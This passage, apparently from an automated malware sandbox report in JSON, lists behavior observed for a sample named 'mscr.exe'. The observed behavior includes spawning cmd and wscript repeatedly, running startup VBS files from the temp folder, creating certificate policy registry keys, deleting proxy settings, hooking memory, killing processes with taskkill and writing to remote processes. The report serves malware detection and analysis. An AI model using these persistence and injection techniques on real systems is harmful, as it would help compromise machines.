1784)"],"description_v3":[{"type":"text","value":"\"\" is creating a new process (Name: \"%WINDIR%\\System32\\cmd.exe\", Handle: 500)"},{"type":"linebreak"},{"type":"text","value":"\"\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 508)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1440)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1708)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1736)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1776)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1780)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1680)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1788)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1664)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1472)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1732)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1516)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1520)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1664)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1512)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1732)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1796)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1784)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Installation/Persistance","identifier":"target-17","type":9,"relevance":10,"name":"Executes a visual basic script","description":"$90","description_v2":["Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\" (UID: 00016531-00002904)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\" (UID: 00017032-00002832)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\" (UID: 00017529-00003244)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\" (UID: 00018059-00003292)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\" (UID: 00018600-00003456)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\" (UID: 00019098-00002712)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\" (UID: 00019628-00002896)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8192529.vbs\"\" (UID: 00020161-00003592)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7944398.vbs\"\" (UID: 00020693-00002776)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295000.vbs\"\" (UID: 00021221-00003856)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3019309.vbs\"\" (UID: 00021757-00004068)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7419274.vbs\"\" (UID: 00022256-00003980)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7171143.vbs\"\" (UID: 00022790-00001748)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1581107.vbs\"\" (UID: 00023290-00000712)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1990457.vbs\"\" (UID: 00023824-00002428)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2144209.vbs\"\" (UID: 00024324-00002628)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup6544173.vbs\"\" (UID: 00024825-00002784)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup5382966.vbs\"\" (UID: 00025337-00002968)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup276877.vbs\"\" (UID: 00025847-00003792)","Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7434561.vbs\"\" (UID: 00026351-00003364)"],"description_v3":[{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\""},{"type":"process","process_uid":"00016531-00002904","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\""},{"type":"process","process_uid":"00017032-00002832","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\""},{"type":"process","process_uid":"00017529-00003244","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\""},{"type":"process","process_uid":"00018059-00003292","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\""},{"type":"process","process_uid":"00018600-00003456","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\""},{"type":"process","process_uid":"00019098-00002712","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\""},{"type":"process","process_uid":"00019628-00002896","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8192529.vbs\"\""},{"type":"process","process_uid":"00020161-00003592","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7944398.vbs\"\""},{"type":"process","process_uid":"00020693-00002776","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295000.vbs\"\""},{"type":"process","process_uid":"00021221-00003856","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3019309.vbs\"\""},{"type":"process","process_uid":"00021757-00004068","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7419274.vbs\"\""},{"type":"process","process_uid":"00022256-00003980","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7171143.vbs\"\""},{"type":"process","process_uid":"00022790-00001748","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1581107.vbs\"\""},{"type":"process","process_uid":"00023290-00000712","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1990457.vbs\"\""},{"type":"process","process_uid":"00023824-00002428","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2144209.vbs\"\""},{"type":"process","process_uid":"00024324-00002628","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup6544173.vbs\"\""},{"type":"process","process_uid":"00024825-00002784","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup5382966.vbs\"\""},{"type":"process","process_uid":"00025337-00002968","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup276877.vbs\"\""},{"type":"process","process_uid":"00025847-00003792","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7434561.vbs\"\""},{"type":"process","process_uid":"00026351-00003364","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"network-32","type":7,"relevance":10,"name":"Detected increased number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.56.20/32, 192.168.56.31/32, ...\"","description_v2":["Attempt to find devices in networks: \"192.168.56.20/32, 192.168.56.31/32, ...\""],"description_v3":[{"type":"text","value":"Attempt to find devices in networks: \"192.168.56.20/32, 192.168.56.31/32, ...\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-19","type":3,"relevance":10,"name":"Modifies Software Policy Settings","description":"$91","description_v2":["\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\")","\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\")"],"description_v3":[{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-27","type":3,"relevance":10,"name":"Modifies proxy settings","description":"\"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","description_v2":["\"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"],"description_v3":[{"type":"text","value":"\"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-36","type":3,"relevance":8,"name":"Queries sensitive IE security settings","description":"\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","description_v2":["\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"],"description_v3":[{"type":"text","value":"\"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"hooks-8","type":11,"relevance":10,"name":"Installs hooks/patches the running process","description":"$92","description_v2":["\"\" wrote bytes \"0857f6750478ff750000000051c1d9769498d976ee9cd97675dcdb76273edb76efb2df760000000046ce5775013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb577592bb577546ba57750abf577500000000\" to virtual address \"0x6A241000\" (part of module \"SHFOLDER.DLL\")","\"\" wrote bytes \"82136d3c\" to virtual address \"0x67861FDC\" (part of module \"MSCORWKS.DLL\")","\"\" wrote bytes \"db4d866f00000000\" to virtual address \"0x010C2000\" (part of module \"4F0CF4CDE34BCA0045670470920E6A6B5B8AFCA36A1E9320FEFC5AB16148283E.EXE\")","\"taskkill.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")","\"timeout.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"],"description_v3":[{"type":"text","value":"\"\" wrote bytes \"0857f6750478ff750000000051c1d9769498d976ee9cd97675dcdb76273edb76efb2df760000000046ce5775013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb577592bb577546ba57750abf577500000000\" to virtual address \"0x6A241000\" (part of module \"SHFOLDER.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote bytes \"82136d3c\" to virtual address \"0x67861FDC\" (part of module \"MSCORWKS.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote bytes \"db4d866f00000000\" to virtual address \"0x010C2000\" (part of module \"4F0CF4CDE34BCA0045670470920E6A6B5B8AFCA36A1E9320FEFC5AB16148283E.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"taskkill.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"timeout.exe\" wrote bytes \"4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000\" to virtual address \"0x75491000\" (part of module \"NSI.DLL\")"}],"origin":"Hook Detection","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"registry-25","type":3,"relevance":3,"name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","description_v2":["\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"],"description_v3":[{"type":"text","value":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Anti-Detection/Stealthyness","identifier":"target-9","type":9,"relevance":9,"name":"Terminates other processes using taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\" (UID: 00015185-00003672)","description_v2":["Process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\" (UID: 00015185-00003672)"],"description_v3":[{"type":"text","value":"Process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\""},{"type":"process","process_uid":"00015185-00003672","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistance","identifier":"api-0","type":6,"relevance":6,"name":"Writes data to a remote process","description":"$93","description_v2":["\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1708)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1708)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1708)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1776)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1680)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1664)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1732)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1520)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1512)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)","\"mscr.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)","\"mscr.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1796)","\"mscr.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 1684)","\"mscr.exe\" wrote 52 bytes to a 